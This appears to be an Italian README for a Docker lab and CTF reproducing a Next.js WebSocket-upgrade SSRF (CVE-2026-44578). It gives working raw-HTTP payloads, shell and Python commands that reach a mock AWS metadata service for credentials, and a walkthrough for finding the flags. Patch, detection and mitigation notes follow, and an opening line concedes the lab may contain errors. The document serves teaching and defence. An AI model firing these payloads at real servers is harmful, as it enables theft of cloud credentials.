
este laboratorio puede estar bien o mal esta el pruebas pero debe funcionar preguntale a la IA hahah
| Campo | Valore |
|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Tipo | SSRF (CWE-918) |
| Versioni interessate | Next.js 13.4.13 – 15.5.15 e 16.0.0 – 16.2.4 |
| Versioni corrette | 15.5.16 e 16.2.5 |
| Autenticazione | nessuna |
| Interazione utente | nessuna |
Attaccante (host: 0.0.0.0)
│ HTTP :3000 (pubblico)
▼
┌──────────────────────────┐ stesso namespace di rete ┌─────────────────────┐
│ nextjs-vuln │ localhost:80 ──────────► │ imds-sidecar │
│ Next.js 15.5.0 │ │ Fake AWS IMDSv1 │
│ "Nimbus Analytics" │ │ (credenziali, │
│ (server Node integrato) │ │ user-data, indice) │
└──────────────────────────┘ └─────────────────────┘
nextjs-vuln (porta 3000): l'app vulnerabile, esposta su 0.0.0.0:3000.imds-sidecar: mock del metadata service di AWS che vive su
localhost:80 all'interno del namespace del container di Next.js, modellando
un'istanza reale nel cloud. Non è raggiungibile dall'host direttamente
(nessuna porta pubblicata). CVE-2026-44578/
├── docker-compose.yml
├── exploit/
│ └── exploit.py # PoC automatizzato (5 probe)
├── imds-mock/
│ ├── Dockerfile
│ └── server.py # Fake IMDSv1 + route segrete
└── nextjs-app/ # App realistica "Nimbus Analytics"
├── app/
│ ├── globals.css
│ ├── layout.js # navbar/footer
│ ├── page.js # landing
│ ├── api/health/route.js
│ ├── login/page.js
│ ├── pricing/page.js
│ └── dashboard/page.js
├── Dockerfile
└── package.json # [email protected] (vulnerabile)
L'upgrade handler di WebSocket in router-server.ts chiama proxyRequest()
quando l'URI parsato ha parsedUrl.protocol, senza verificare i flag
finished e statusCode che l'handler HTTP normale ha sempre emesso:
// vulnerabile (<= 15.5.15)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// patch (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
Il percorso di attacco usa una request line con URI assoluta a doppia barra:
GET http:///path. normalizeRepeatedSlashes comprime http:/// in http:/,
lasciandolo senza hostname, e http-proxy si connette quindi a localhost:80
con il path intatto:
GET http:///latest/meta-data/iam/security-credentials/<ROLE> HTTP/1.1
Host: 127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
La presenza delle intestazioni Connection: Upgrade + Upgrade: websocket fa
sì che la richiesta cada nell'upgrade handler vulnerabile invece che nell'handler
HTTP con i controlli di sicurezza.
docker compose up -d --build
Verificare che l'app risponda:
curl -s http://127.0.0.1:3000/api/health
curl -s http://localhost:3000/ | head
Per lasciarlo in ascolto su 0.0.0.0, il mapping delle porte in
docker-compose.yml espone già 3000:3000 su tutte le interfacce.
nc)printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/meta-data/instance-id HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
python3 exploit/exploit.py 127.0.0.1 3000
Flusso completo 100 % manuale, in 4 fasi. Ci sono 4 flag nascosti nel
servizio interno (localhost:80); questa guida mostra il flusso fino al
primo e ti lascia le route per trovare gli altri.
# Fingerprint del server
curl -sI http://127.0.0.1:3000/
# HTTP/1.1 200 OK
# x-powered-by: Next.js
# x-http-method-override: 0.0.0.0
# Porte aperte via socket (senza nmap)
python3 -c 'import socket
for p in (22,80,3000,6379):
s=socket.socket(); open_=(s.connect_ex(("127.0.0.1",p))==0); s.close()
if open_: print(p,"OPEN")'
Non c'è accesso diretto a 127.0.0.1:80 dall'attaccante: l'unico vettore è
far sì che il server Next.js (che vive nella stessa rete del servizio
interno) faccia la richiesta per noi.
Prima confermiamo l'SSRF chiedendo l'indice del metadata service:
printf "GET http:///latest/meta-data/ HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
Risposta dell'indice → candidati: instance-id, hostname,
iam/security-credentials/, user-data (primo flag). L'indice di
latest/meta-data/ rivela anche sub-key che conviene continuare a esplorare.
GET http:///latest/user-data HTTP/1.1
| Parte | Funzione |
|---|---|
GET | La vuln fa da proxy solo per GET |
http:///latest/user-data | URI assoluta. http:/// si comprime in http:/ → hostname null → il proxy si connette a localhost:80 conservando il path /latest/user-data |
Host: 127.0.0.1:3000 | Altrimenti il server risponde 400 |
Connection: Upgrade + Upgrade: websocket | Deviano la richiesta all'upgrade handler vulnerabile (l'handler HTTP normale invece valida) |
Sec-WebSocket-Version: 13 / -Key: dGhlIHNhbXBsZSBub25jZQ== | Intestazioni minime richieste in un handshake legittimo |
Terminazione: \r\n\r\n sul socket raw (senza body).
# Opzione A: netcat
printf "GET http:///latest/user-data HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
# Opzione B: socket raw in Python (stessa precisione, senza nc)
python3 - <<'EOF'
import socket
s = socket.create_connection(("127.0.0.1", 3000), timeout=5)
s.sendall(b"GET http:///latest/user-data HTTP/1.1\r\n"
b"Host: 127.0.0.1:3000\r\n"
b"Connection: Upgrade\r\nUpgrade: websocket\r\n"
b"Sec-WebSocket-Version: 13\r\n"
b"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n")
print(s.recv(4096).decode())
EOF
Output — il primo flag arriva nel body della risposta del servizio interno:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
#!/bin/bash
echo 'instance started'
DB_PASS=supersecret123
FLAG{*******1_de_4*******}
Flag 1/4 ottenuto. L'intestazione server: BaseHTTP/0.6 ... (mock Python)
conferma che la richiesta è viaggiata Attaccante → Next.js → localhost:80,
cioè il flag è stato esfiltrato dalla rete interna tramite l'SSRF. Gli altri 3
sono sparsi nelle route del metadata service e del servizio interno — l'indice
di latest/meta-data/ è la tua mappa. Trova gli altri.
Il fake IMDS (localhost:80) modella il metadata service reale di AWS: è un
albero navigabile. Ogni directory (termina con /) risponde con l'indice
delle sue sotto-route; chiedere una directory senza / restituisce un redirect
301. Non ci sono route nascoste: nessun flag richiede di indovinare —
tutto si scopre navigando gli indici.
/ → latest/
├── meta-data/ → ami-id, hostname, iam/, instance-id, instance-type,
│ local-hostname, placement/, public-hostname, tags/
├── dynamic/ → instance-identity/
└── user-data → script di boot (indica internal/config)
| Route | Contenuto |
|---|---|
latest/meta-data/ | Indice dei metadata (riga sopra) |
latest/meta-data/iam/security-credentials/ | Ruolo lab-ssrf-role |
latest/meta-data/iam/security-credentials/lab-ssrf-role | JSON con AccessKeyId, SecretAccessKey e Token |
latest/user-data | Script di boot con credenziali del DB |
latest/dynamic/instance-identity/document | JSON di identità dell'istanza |
internal/config | Config di un servizio interno (DB, API key) — referenziato da user-data |
Sfida CTF: ci sono 4 flag, e ognuno è un artefatto reale della catena di exploit SSRF contro AWS: (1) user-data del boot, (2) credenziali IAM, (3) identity document, (4) config di un servizio interno. I loro valori non sono pubblicati. Naviga gli indici (
/→latest/→ …) e seguirai di banner in banner; lo script di user-data ti dice dove vive il quarto. Non devi indovinare route: il 404 ti tradisce solo se stai inventando un path che non esiste.
Versione completa con la catena flag→flag nel suo documento dedicato: SOLUCION.md (ogni flag ti dà l'indizio del successivo, fuori da questo README).
La regola: ogni flag ha un indizio, un ostacolo e la soluzione. Prima prova con l'indizio; usa l'ostacolo quando sei bloccato. Non ci sono route nascoste: nessuno inganna, tutto si naviga.
Due avvisi prima di iniziare:
ssrf() è già pronto in SOLUCION.md →
Preparazione: copialo e usalo per il resto della guida. Invia una richiesta
GET http:///<path> con Connection: Upgrade + Upgrade: websocket.RkxBR3… (base64 di FLAG{…}). Decifrali:
echo <blob> | base64 -d./latest/user-data? È la prima cosa
che controlla qualsiasi attaccante su AWS./ alla fine.
ssrf latest/meta-data ti dà 301 Moved Permanently e Location: latest/meta-data/. = "Seguimi". Con nc non c'è follow automatico: ripeti la
richiesta con lo slash.ssrf latest/user-data
Nel body: lo script di boot con DB_PASS=… (Flag 1 è lì dentro),
e una riga curl -s http://internal/config che è la mappa del Flag 4.
latest/meta-data/iam/security-credentials/ e chiedi il
ruolo che appare.Token non è riempitivo): il 200 restituisce un JSON
lungo. AccessKeyId/SecretAccessKey saltano all'occhio; il Flag 2 non è
lì: il campo Token è un'unica stringa base64. Decifrala.ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role
latest/meta-data/ non è l'unico albero. Guarda l'indice radice:
c'è un dynamic/ che quasi nessuno apre.dynamic/ → instance-identity/ →
document. Sono tre gradini; in ognuno il tuo ssrf deve terminare con /
(tranne document). La gente si perde per non richiedere dopo il 301.ssrf latest/dynamic/
ssrf latest/dynamic/instance-identity/
ssrf latest/dynamic/instance-identity/document
Il JSON di identità include una chiave FLAG con il Flag 3 (in base64).
Se la tua serie di comandi ha restituito 301 al secondo gradino, tieni a
mente la lezione dell'Ostacolo 1.
curl -s http://internal/config.internal non risolve.
"internal" è un alias lato server, non tuo. Non cambi l'host: l'SSRF
atterra sempre su localhost:80; scegli solo il path.ssrf internal/config
Verifica dei 4 (blob base64 → decodificato):
ssrf latest/user-data | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/dynamic/instance-identity/document | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf internal/config | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
ssrf latest/meta-data/iam/security-credentials/lab-ssrf-role | grep -o 'RkxBR3[A-Za-z0-9+/=]*' | base64 -d; echo
4/4 flag in mano. Se qualcuno non ti esce come FLAG{...}, ormai lo sai:
controlla il curl di user-data (ostacolo del Flag 4) o lo / degli indici
(ostacolo del Flag 1).
Uso manuale, ad esempio credenziali IAM:
printf "GET http:///latest/meta-data/iam/security-credentials/lab-ssrf-role HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 127.0.0.1 3000
Risultato atteso — la risposta arriva con server: BaseHTTP/0.6 Python/3.12.x
(il mock), non con il banner di Next.js, il che prova che la richiesta è
stata fatta dal server verso localhost:80:
HTTP/1.0 200 OK
server: BaseHTTP/0.6 Python/3.12.14
content-type: text/plain
{"Code": "Success", ..., "AccessKeyId": "AKIA-FAKE-ACCESS-KEY-ID", "SecretAccessKey": "FAKE/Secret+Access/Key+1234567890abcdef", ...}
Il PoC verifica l'SSRF ma censura i flag: i blob base64 dei
FLAG{...} e i FLAG{...} in chiaro vengono mostrati come testo censurato. I
valori si ottengono solo con l'esplorazione manuale (sezione CTF sopra).
--- IAM Creds ---
HTTP/1.0 200 OK
{"Code": "Success", ..., "Token": "RkxBR3******** (flag cifrato: exploit manuale) ***"}
--- User Data ---
HTTP/1.0 200 OK
#!/bin/bash
flag=RkxBR3******** (flag cifrato: exploit manuale) ***
http:///).Upgrade: websocket con 400).Per confermare che la patch (Next.js ≥ 15.5.16) blocchi l'attacco, cambia la
versione in nextjs-app/package.json a 15.5.16, ricostruisci e riesegui lo
stesso payload: la connessione si chiude senza restituire dati.
Firme nei log del processo Next.js:
Failed to proxy http:/ — il proxy si è attivato ma la destinazione era irraggiungibile.http: insieme a
intestazioni Connection: Upgrade / Upgrade: websocket.HttpTokens=required) su AWS.if ($request_uri ~* "^https?://") { return 400; }